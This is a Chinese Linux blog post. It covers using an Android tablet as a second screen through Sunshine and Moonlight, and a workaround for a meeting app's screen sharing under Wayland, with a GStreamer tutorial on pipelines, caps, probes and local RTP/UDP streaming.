&lt;p&gt;首先是常规的设置用户名密码，之后打开 Configuration 进行配置。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;关闭 Input 中的手柄、键盘和鼠标选项，因为把 Sunshine 当作虚拟显示器的话，触摸会错位，所以需要关掉来避免误触。&lt;&#x2F;li&gt;
&lt;li&gt;在 Audio&#x2F;Video 中设置好显示器编号（Display Number）和分辨率（Advertised Resolutions）。&lt;&#x2F;li&gt;
&lt;li&gt;在 Advanced 中设置好屏幕捕获方式（Force a Specifig Capture Method），如果你是台式电脑，只使用 NVIDIA 独立显卡，那么可以安装 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;illnyang&#x2F;nvlax&quot;&gt;nvlax 补丁&lt;&#x2F;a&gt; 并使用 NvFBC 模式，否则就使用 KMS 模式。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;moon-cake-pei-zhi-moonlight&quot;&gt;🥮 配置 Moonlight&lt;&#x2F;h4&gt;
&lt;p&gt;在安卓平板端 Moonlight 的设置中找到“自定义分辨率”，并输入需要使用的分辨率（我这里使用 800x1280），并且按需开启“竖屏显示模式”。之后，重启一次 Moonlight，就可以在设置界面最上面的“视频分辨率”中找到刚才设置的分辨率。&lt;&#x2F;p&gt;
&lt;p&gt;之后打开“将画面拉伸至全屏”，关掉“输入设置”的三个选项。&lt;&#x2F;p&gt;
&lt;p&gt;Moonlight 可以自动检测到局域网下的电脑，直接连接上就可以使用了。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;frame-photo-xiao-guo-tu&quot;&gt;🖼️ 效果图&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 副屏方案效果实拍：主屏全屏运行游戏《崩坏：星穹铁道》，右侧竖立的安卓平板作为副屏显示 Telegram 的 Arch Linux 中文群聊天界面，说明平板副屏可边打游戏边聊天。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;zai-wayland-xia-dui-mou-hui-yi-ruan-jian-de-ping-mu-gong-xiang-fang-an-yi-ji-yi-xie-bi-ji&quot;&gt;在 Wayland 下对某会议软件的屏幕共享方案，以及一些笔记&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aur.archlinux.org&#x2F;packages&#x2F;wemeet-bin&quot;&gt;众所周知&lt;&#x2F;a&gt;，某会议软件推出的 Linux 版本在 Wayland session 下是拿不到屏幕的信息的（虽然某种程度上，能有 Linux 版本就已经很不错了）。本文提出了一种扭曲但是可行性更高且更加可靠的方法，并且包括了一些相关的笔记，以及我的一些推测，以备参考。&lt;&#x2F;p&gt;
&lt;p&gt;我也传了一份到 A 站上：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.acfun.cn&#x2F;v&#x2F;ac41424863&quot;&gt;https:&#x2F;&#x2F;www.acfun.cn&#x2F;v&#x2F;ac41424863&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;为什么不是传到 B 站上？我其实一开始想这么搞，但是发现现在 B 站的投稿已经没有分 P 功能了（我上次上传视频得好几年以前了），然后合集功能还要「达到一定电磁力」（这玩意和用户等级还是两个不同的东西）才能用。我又不想在别人的 timeline 上蹦出七个怪视频，所以就算了。B 站的产品经理可能脑子有大病吧。&lt;&#x2F;p&gt;
&lt;p&gt;A 站的快手服务器好像有点问题，我这里太大的视频传的时候会卡住，但是至少分 P 功能还在，不是不能用。&lt;&#x2F;p&gt;
&lt;p&gt;而 YouTube 对应的功能是「播放列表」，而且我可以设置视频不列出在频道里面，所以没有问题。而且原始录制的视频有点大，直接塞个 video 标签，然后让人一开页面就下载几百兆的东西显然不是什么明智的选择。&lt;&#x2F;p&gt;
&lt;p&gt;不过说句题外话，A 站好像也挺惨的，我之前注册账号主要是为了看《摇曳露营》，然后被搞出先审后播之后就没新番了，在竞争上处于明显的劣势。&lt;&#x2F;p&gt;
&lt;p&gt;简单来说，该会议软件只能在 &lt;strong&gt;rootful xwayland&lt;&#x2F;strong&gt; 下才能获取到 xwayland 整个屏幕的信息。你可以先开个 nested wayland compositor（比如说 weston），也可以直接开这个 rootful xwayland（我不清楚 Server-Side Decoration 下直接开有没有边框，不过如果是 CSD-only 的环境（aka, GNOME）的话，需要编译的时候带上 libdecor 参数。作为参考，可以使用我打的 AUR 包：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aur.archlinux.org&#x2F;packages&#x2F;xwayland-standalone-with-libdecor&quot;&gt;xwayland-standalone-with-libdecor&lt;&#x2F;a&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;在这个 rootful xwayland 下面就可以做很多传统 X 的事情了，比如说开个 WM（我推荐用 OpenBox）之类的。&lt;&#x2F;p&gt;
&lt;p&gt;最后缺失的一环是把外面的内容传进来，而 xdg portal 暴露了屏幕共享的接口，可以输出一个 pipewire fd，之后 gstreamer 可以把这个 fd 输出到一个 X 窗口，于是就实现了这个目标。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.gnome.org&#x2F;-&#x2F;snippets&#x2F;19&quot;&gt;xdp-screen-cast.py&lt;&#x2F;a&gt; 脚本就帮忙完成了写 DBus 请求等等的麻烦事。&lt;&#x2F;p&gt;
&lt;&#x2F;details&gt;
&lt;h3 id=&quot;bu-tai-hao-de-fang-an&quot;&gt;不太好的方案&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;xu-ni-she-xiang-tou&quot;&gt;虚拟摄像头？&lt;&#x2F;h4&gt;
&lt;p&gt;这种方法似乎是在使用 native 客户端的前提下最可行的。我&lt;strong&gt;没有测试过&lt;&#x2F;strong&gt;这种方案（因为不想装 dkms），但是有一点不能忽略的是：&lt;strong&gt;摄像头的视频编码和屏幕共享的视频编码参数肯定是不同的&lt;&#x2F;strong&gt;。摄像头拍到的人脸糊一点，artifacts 多一点，其实问题都不算大；但是屏幕共享糊一点的话，屏幕上的字都看不清楚了，这在很多场景下都是不能接受的。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;xwaylandvideobridge&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.davidedmundson.co.uk&#x2F;blog&#x2F;xwaylandvideobridge&#x2F;&quot;&gt;xwaylandvideobridge&lt;&#x2F;a&gt;?&lt;&#x2F;h4&gt;
&lt;p&gt;看起来很完美，但是在这里唯一的问题是：它不能用（至少我本地测试是如此）。因为它&lt;sub&gt;解决的是使用了&lt;&#x2F;sub&gt; &lt;sub&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.x.org&#x2F;releases&#x2F;X11R7.7&#x2F;doc&#x2F;libXtst&#x2F;recordlib.html&quot;&gt;XRecord 扩展&lt;&#x2F;a&gt;&lt;&#x2F;sub&gt;&lt;sub&gt;的软件的录屏问题，但是某会议软件似乎并没有使用 XRecord 扩展。&lt;&#x2F;sub&gt; 使用 XRecord 扩展来判断程序是否在录屏（使用 X 混成扩展重定向窗口内容），但是这里似乎检测不到。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;sub&gt;AUR 的评论区里前几天有人说可以，我不太确定可信度（可能是我打开的方式不对？），如果有人测试过可行的话可以告诉我一下。&lt;&#x2F;sub&gt; 问了一下，确实是不行的。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;windows-vm-obs-rdp&quot;&gt;Windows VM + OBS&#x2F;RDP?&lt;&#x2F;h4&gt;
&lt;p&gt;大概也算是一种勉强能用的方案。OBS + rtmp 推流会有 2s 的延迟，如果走 RDP 延迟会好一些（GNOME 用的是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.gnome.org&#x2F;GNOME&#x2F;gnome-remote-desktop&#x2F;&quot;&gt;gnome-remote-desktop&lt;&#x2F;a&gt;，其他的桌面环境应该有类似的方案）。但是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;更耗电；&lt;&#x2F;li&gt;
&lt;li&gt;如果是 KVM 用户，且没有显卡虚拟化，只有 QXL 2D 加速，那么投屏的时候 Windows 的 CPU 占用率会奇高。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;proposal&quot;&gt;Proposal&lt;&#x2F;h3&gt;
&lt;p&gt;调研过 Wayland 的 Portal 投屏的用户可能都看过这个 snippet: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.gnome.org&#x2F;-&#x2F;snippets&#x2F;19&quot;&gt;https:&#x2F;&#x2F;gitlab.gnome.org&#x2F;-&#x2F;snippets&#x2F;19&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;它的工作原理是：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;和对应的 DBus 接口通信，拿到一个 pipewire 的 fd（well，我不关心具体是怎么调用这个 portal 的）；&lt;&#x2F;li&gt;
&lt;li&gt;用 GStreamer 打开这个 fd，然后经过一个 pipeline 之后用 &lt;code&gt;xvimagesink&lt;&#x2F;code&gt; 播放（显示在弹出的窗口中）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;而 &lt;code&gt;xvimagesink&lt;&#x2F;code&gt; 是一个使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.x.org&#x2F;releases&#x2F;current&#x2F;doc&#x2F;man&#x2F;man3&#x2F;Xv.3.xhtml&quot;&gt;XVideo 扩展&lt;&#x2F;a&gt; 显示视频流的 X11 窗口，所以理论上我们可以在一个独立的 X display 里面运行某会议软件，然后让 &lt;code&gt;xvimagesink&lt;&#x2F;code&gt; 播放到这个 display 里面，这样的话就可以识别到了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;x11docker-gstreamer&quot;&gt;x11docker &amp;amp; GStreamer?&lt;&#x2F;h3&gt;
&lt;p&gt;如果要说再跑一个 X session 的话，x11docker 应该是一个不错的选择，基于容器隔离，并且有一大堆自定义的参数可以选择。然后接下来的问题就是怎么把 GStreamer 的视频流传输到 x11docker 的 X display 里面。由于用户权限等问题，直接在外面 &lt;code&gt;DISPLAY&lt;&#x2F;code&gt; 感觉不太像是一个靠谱的主意，因此我当时的想法是，通过网络把视频流传到容器里面的 GStreamer，然后由它显示出来。&lt;&#x2F;p&gt;
&lt;p&gt;这不是最终的解决方案，如果只想看解决方案，可以直接拉到下一大节。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;gstreamer-101&quot;&gt;GStreamer 101&lt;&#x2F;h4&gt;
&lt;p&gt;GStreamer 我感觉资料不多，并且诡异的是，在我搜索的时候，可以在 StackOverflow 上找到一些 GStreamer 标签的问题，但是它们大多不约而同没有任何人回答。所以我觉得可能有必要写一下我在倒腾的时候的一些认识，虽然我不能保证它们完全正确。&lt;&#x2F;p&gt;
&lt;p&gt;首先我们基本不需要去写代码，大部分工作都可以通过构建 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;tutorials&#x2F;basic&#x2F;concepts.html?gi-language=c#walkthrough&quot;&gt;pipeline&lt;&#x2F;a&gt; 解决。GStreamer 的 pipeline 有一点像 Unix 的管道机制。开头是一个生产多媒体流的 “source”，中间会经过一些 “filter” 对多媒体流做一些处理，最后 “sink” 是这个流的消费者。这些组成 pipeline 的源部件被称为「元素」（Element）。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以用 &lt;code&gt;gst-launch-1.0&lt;&#x2F;code&gt; 做简单的测试用途。一个最简单的例子是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gst-launch-1.0 videotestsrc ! autovideosink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;videotestsrc&#x2F;index.html&quot;&gt;&lt;code&gt;videotestsrc&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; 是产生测试图像信号的 source，而 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;autodetect&#x2F;autovideosink.html&quot;&gt;&lt;code&gt;autovideosink&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; 是 sink，会根据平台选择最合适的 video sink 展示给用户。&lt;&#x2F;p&gt;
&lt;p&gt;之后可以放一点我们自己的视频。&lt;code&gt;filesrc location=path&#x2F;to&#x2F;file&lt;&#x2F;code&gt; 是从文件中读取数据的 source，于是这样就可以了吗？&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gst-launch-1.0 filesrc location=.&amp;#x2F;test.mp4 ! autovideosink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;执行会发现：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Setting pipeline to PAUSED ...
Pipeline is PREROLLING ...

(gst-launch-1.0:1107112): GStreamer-Video-CRITICAL **: 13:46:40.380: gst_video_info_to_caps: assertion &amp;#x27;info-&amp;gt;finfo != NULL&amp;#x27; failed
ERROR: from element &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstAutoVideoSink:autovideosink0&amp;#x2F;GstXvImageSink:autovideosink0-actual-sink-xvimage: Internal error: can&amp;#x27;t allocate images
Additional debug info:
..&amp;#x2F;gstreamer&amp;#x2F;subprojects&amp;#x2F;gst-plugins-base&amp;#x2F;sys&amp;#x2F;xvimage&amp;#x2F;xvimagesink.c(1169): gst_xv_image_sink_show_frame (): &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstAutoVideoSink:autovideosink0&amp;#x2F;GstXvImageSink:autovideosink0-actual-sink-xvimage:
We don&amp;#x27;t have a bufferpool negotiated
ERROR: pipeline doesn&amp;#x27;t want to preroll.
Setting pipeline to NULL ...
ERROR: from element &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstFileSrc:filesrc0: Internal data stream error.
Additional debug info:
..&amp;#x2F;gstreamer&amp;#x2F;subprojects&amp;#x2F;gstreamer&amp;#x2F;libs&amp;#x2F;gst&amp;#x2F;base&amp;#x2F;gstbasesrc.c(3132): gst_base_src_loop (): &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstFileSrc:filesrc0:
streaming stopped, reason error (-5)
ERROR: pipeline doesn&amp;#x27;t want to preroll.
Freeing pipeline ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是因为 &lt;code&gt;filesrc&lt;&#x2F;code&gt; 产生的数据类型和视频文件的编码一致，而 &lt;code&gt;autovideosink&lt;&#x2F;code&gt;（实际上是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;xvimagesink&#x2F;index.html&quot;&gt;&lt;code&gt;xvimagesink&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;）接收的数据类型是 &lt;code&gt;video&#x2F;x-raw&lt;&#x2F;code&gt;，所以我们需要添加一个解码的 filter: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;playback&#x2F;decodebin.html&quot;&gt;&lt;code&gt;decodebin&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gst-launch-1.0 filesrc location=.&amp;#x2F;test.mp4 ! decodebin ! autovideosink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于上面的 &lt;code&gt;xdp-screen-cast&lt;&#x2F;code&gt; 的 snippet，我们可以看到它的 pipeline 是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pipewiresrc fd=%d path=%u ! videoconvert ! xvimagesink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里 &lt;code&gt;videoconvert&lt;&#x2F;code&gt; 是用来在 raw 视频流之间做色彩空间转换的。但是 &lt;code&gt;pipewiresrc&lt;&#x2F;code&gt; 输出的视频流到底是什么样的呢？&lt;code&gt;pipewiresrc&lt;&#x2F;code&gt; 不是 GStreamer 官方的插件，所以如果要看它的文档，需要使用 &lt;code&gt;gst-inspect-1.0&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gst-inspect-1.0 pipewiresrc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;虽然看不到有效的信息：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Pad Templates:
  SRC template: &amp;#x27;src&amp;#x27;
    Availability: Always
    Capabilities:
      ANY

Clocking Interaction:
  element is supposed to provide a clock but returned NULL
Element has no URI handling capabilities.

Pads:
  SRC: &amp;#x27;src&amp;#x27;
    Pad Template: &amp;#x27;src&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;估计它的输出的类型和 pipewire 源有关系，我们可以修改 &lt;code&gt;xdp-screen-cast&lt;&#x2F;code&gt; 的代码，加上一些用来输出相关信息的代码。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gst_command = &amp;quot;pipewiresrc fd=%d path=%u name=pwsrc0 ! videoconvert ! xvimagesink&amp;quot;
gst_command = gst_command % (fd, node_id)

pipeline = Gst.parse_launch(gst_command)

def pad_func(pad, info, user_data):
    caps = pad.get_current_caps()
    if caps:
        print(&amp;quot;Video stream type:&amp;quot;, caps.to_string())
    else:
        print(&amp;quot;No caps available&amp;quot;)
    return Gst.PadProbeReturn.PASS

pwsrc = pipeline.get_by_name(&amp;quot;pwsrc0&amp;quot;)
srcpad = pwsrc.get_static_pad(&amp;quot;src&amp;quot;)
srcpad.add_probe(Gst.PadProbeType.EVENT_DOWNSTREAM, pad_func, None)

pipeline.set_state(Gst.State.PLAYING)
## ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里我们给 &lt;code&gt;pipewiresrc&lt;&#x2F;code&gt; 加上了一个名字 &lt;code&gt;pwsrc0&lt;&#x2F;code&gt;，然后在播放这个 pipeline 之前获取了它的 “src” pad，然后为这个 pad 加上了一个 probe，这个类似钩子的东西会调用 &lt;code&gt;pad_func()&lt;&#x2F;code&gt; 函数，函数内会输出 “pad” 的 “caps”。&lt;&#x2F;p&gt;
&lt;p&gt;这里，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;tutorials&#x2F;basic&#x2F;media-formats-and-pad-capabilities.html?gi-language=c#pads&quot;&gt;“pad”&lt;&#x2F;a&gt; 可以看作是让数据输入或者输出元素的通道，而 pad 的 “caps” (capabilities) 则代表了哪些类型的数据可以被对应的 pad 处理。在上面的代码中我们添加的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;additional&#x2F;design&#x2F;probes.html?gi-language=c&quot;&gt;probe&lt;&#x2F;a&gt; 则是一类用来通知应用程序数据流状态的 callback。而 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;plugin-development&#x2F;advanced&#x2F;events.html?gi-language=c#downstream-events&quot;&gt;“EVENT_DOWNSTREAM”&lt;&#x2F;a&gt; 则代表在这个 pipeline 中从上游 (source) 到下游 (sink) 的事件。&lt;&#x2F;p&gt;
&lt;p&gt;执行可以看到：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;session &amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;portal&amp;#x2F;desktop&amp;#x2F;session&amp;#x2F;1_5365&amp;#x2F;u1 created
sources selected
streams:
stream 144
No caps available
Video stream type: video&amp;#x2F;x-raw, format=(string)BGRx, width=(int)1920, height=(int)1200, framerate=(fraction)0&amp;#x2F;1, max-framerate=(fraction)15729223&amp;#x2F;262144
Video stream type: video&amp;#x2F;x-raw, format=(string)BGRx, width=(int)1920, height=(int)1200, framerate=(fraction)0&amp;#x2F;1, max-framerate=(fraction)15729223&amp;#x2F;262144
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由此可以知道，这里 &lt;code&gt;pipewiresrc&lt;&#x2F;code&gt; 的输出是一个 1920*1080 大小的，像素格式为 BGRx 的 raw 视频流。对 &lt;code&gt;xvimagesink&lt;&#x2F;code&gt; 做相似的修改，可以观察到输出的视频流是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Video stream type: video&amp;#x2F;x-raw, width=(int)1920, height=(int)1200, framerate=(fraction)0&amp;#x2F;1, max-framerate=(fraction)15729223&amp;#x2F;262144, format=(string)YV12
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因此 &lt;code&gt;videoconvert&lt;&#x2F;code&gt; 在中间将 BGRx 转换为了 YV12 的格式。同样的，如果你有摄像头，也可以试一下下面这个 pipeline：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gst-launch-1.0 v4l2src device=&amp;#x2F;dev&amp;#x2F;video0 ! videoconvert ! autovideosink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;另外，调试的时候可以加 &lt;code&gt;GST_DEBUG=&quot;3&quot;&lt;&#x2F;code&gt; 环境变量以输出错误信息（增大数字可以输出更多的信息）。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;gstreamer-yu-wang-luo-chuan-shu-1&quot;&gt;GStreamer 与网络传输 (1)&lt;&#x2F;h4&gt;
&lt;p&gt;如果两端都安装了 GStreamer，那么可以比较方便地实现网络传输视频流。以 UDP 为例子，发送端需要将数据流扔给 &lt;code&gt;udpsink&lt;&#x2F;code&gt;，而接收端需要从 &lt;code&gt;udpsrc&lt;&#x2F;code&gt; 读取这个数据流。但是直接 naively 加上是不工作的：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; gst-launch-1.0 videotestsrc ! udpsink host=127.0.0.1 port=5000
Setting pipeline to PAUSED ...
Pipeline is PREROLLING ...
Pipeline is PREROLLED ...
Setting pipeline to PLAYING ...
Redistribute latency...
New clock: GstSystemClock
WARNING: from element &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstUDPSink:udpsink0: Attempting to send a UDP packets larger than maximum size (614400 &amp;gt; 65507)
Additional debug info:
..&amp;#x2F;gstreamer&amp;#x2F;subprojects&amp;#x2F;gst-plugins-good&amp;#x2F;gst&amp;#x2F;udp&amp;#x2F;gstmultiudpsink.c(684): gst_multiudpsink_send_messages (): &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstUDPSink:udpsink0:
Reason: Error sending message: Message too long
WARNING: from element &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstUDPSink:udpsink0: Attempting to send a UDP packets larger than maximum size (614400 &amp;gt; 65507)
Additional debug info:
..&amp;#x2F;gstreamer&amp;#x2F;subprojects&amp;#x2F;gst-plugins-good&amp;#x2F;gst&amp;#x2F;udp&amp;#x2F;gstmultiudpsink.c(684): gst_multiudpsink_send_messages (): &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstUDPSink:udpsink0:
Reason: Error sending message: Message too long
## 以下省略
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;UDP 的单个包大小有上限。那么有人会说，能不能用 TCP 呢？&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; gst-launch-1.0 videotestsrc ! tcpserversink host=127.0.0.1 port=5000
Setting pipeline to PAUSED ...
Pipeline is PREROLLING ...
Pipeline is PREROLLED ...
Setting pipeline to PLAYING ...
Redistribute latency...
New clock: GstSystemClock
0:00:04.3 &amp;#x2F; 99:99:99.
## 好像没问题？开个新窗口看看接收端
&amp;gt; gst-launch-1.0 tcpclientsrc port=5000 ! autovideosink
Setting pipeline to PAUSED ...
Pipeline is PREROLLING ...

(gst-launch-1.0:1188556): GStreamer-Video-CRITICAL **: 02:14:55.643: gst_video_info_to_caps: assertion &amp;#x27;info-&amp;gt;finfo != NULL&amp;#x27; failed
ERROR: from element &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstAutoVideoSink:autovideosink0&amp;#x2F;GstXvImageSink:autovideosink0-actual-sink-xvimage: Internal error: can&amp;#x27;t allocate images
Additional debug info:
..&amp;#x2F;gstreamer&amp;#x2F;subprojects&amp;#x2F;gst-plugins-base&amp;#x2F;sys&amp;#x2F;xvimage&amp;#x2F;xvimagesink.c(1169): gst_xv_image_sink_show_frame (): &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstAutoVideoSink:autovideosink0&amp;#x2F;GstXvImageSink:autovideosink0-actual-sink-xvimage:
We don&amp;#x27;t have a bufferpool negotiated
ERROR: pipeline doesn&amp;#x27;t want to preroll.
ERROR: from element &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstTCPClientSrc:tcpclientsrc0: Internal data stream error.
Additional debug info:
..&amp;#x2F;gstreamer&amp;#x2F;subprojects&amp;#x2F;gstreamer&amp;#x2F;libs&amp;#x2F;gst&amp;#x2F;base&amp;#x2F;gstbasesrc.c(3132): gst_base_src_loop (): &amp;#x2F;GstPipeline:pipeline0&amp;#x2F;GstTCPClientSrc:tcpclientsrc0:
streaming stopped, reason error (-5)
ERROR: pipeline doesn&amp;#x27;t want to preroll.
Setting pipeline to NULL ...
Freeing pipeline ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;即使能发出去，接收端也无法正常播放，因为它对视频流的属性一无所知。即使我们加上了相关的属性，得到的视频流输出也是没法用的：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## 发送端？
&amp;gt; gst-launch-1.0 videotestsrc ! videoconvert ! video&amp;#x2F;x-raw,format=BGRx,width=100,height=100,framerate=24&amp;#x2F;1 ! tcpserversink host=127.0.0.1 port=5000
## 接收端？
&amp;gt; gst-launch-1.0 tcpclientsrc port=5000 ! video&amp;#x2F;x-raw,format=BGRx,width=100,height=100,framerate=24&amp;#x2F;1 ! videoconvert ! autovideosink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;得到的输出是绿屏，可能的原因是这里接收端没有足够多的信息判断每一帧怎么划分。&lt;&#x2F;p&gt;
&lt;p&gt;对于 UDP，为了让视频流能够正确在网络通讯中存活，一般的做法是用 RTP 包一层。发送的时候用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;rtp&#x2F;rtpvrawpay.html&quot;&gt;&lt;code&gt;rtpvrawpay&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; 包，接收的时候用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gstreamer.freedesktop.org&#x2F;documentation&#x2F;rtp&#x2F;rtpvrawdepay.html&quot;&gt;&lt;code&gt;rtpvrawdepay&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; 解包。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## 发送端
## RTP 不支持上面例子的 BGRx，所以这里换成了 BGR
## 因为 videotestsrc 支持很多格式，所以 format 随便填一个应该就行
&amp;gt; gst-launch-1.0 videotestsrc ! videoconvert ! video&amp;#x2F;x-raw,format=BGR,width=100,height=100,framerate=24&amp;#x2F;1 ! rtpvrawpay ! udpsink host=127.0.0.1 port=5000
## 接收端
## rtpvrawdepay 要求上游给属性，这里 udpsrc 接收到的是 rtp 包（而不是直接的 raw），所以得按照 rtp 的格式写
## caps 对类型的要求比较严格，如果 width&amp;#x2F;height 不声明为 `string` 会报错，而且得加上 GST_DEBUG 才能知道是这里的问题
## 只能参考文档猜字符串要怎么写，有些默认值这里省略了，其他的教程可能会写进去
&amp;gt; gst-launch-1.0 udpsrc port=5000 caps=&amp;#x27;application&amp;#x2F;x-rtp,sampling=(string)BGR,width=(string)100,height=(string)100,depth=(string)8&amp;#x27; ! rtpvrawdepay ! videoconvert ! autovideosink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这也太麻烦了，如果搜过会发现，好像编码成 H.264 之后就不用写（猜）这么一长串格式了：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## 发送端
## 这里 tune=zerolatency 先加上了，否则延迟可能难以接受
&amp;gt; gst-launch-1.0 videotestsrc ! videoconvert ! x264enc tune=zerolatency ! rtph264pay ! udpsink host=127.0.0.1 port=5000
## 接收端
&amp;gt; gst-launch-1.0 udpsrc port=5000 caps=&amp;#x27;application&amp;#x2F;x-rtp,encoding-name=(string)H264&amp;#x27; ! rtph264depay ! avdec_h264 ! videoconvert ! autovideosink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者 MJPEG 也可以：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;## 发送端
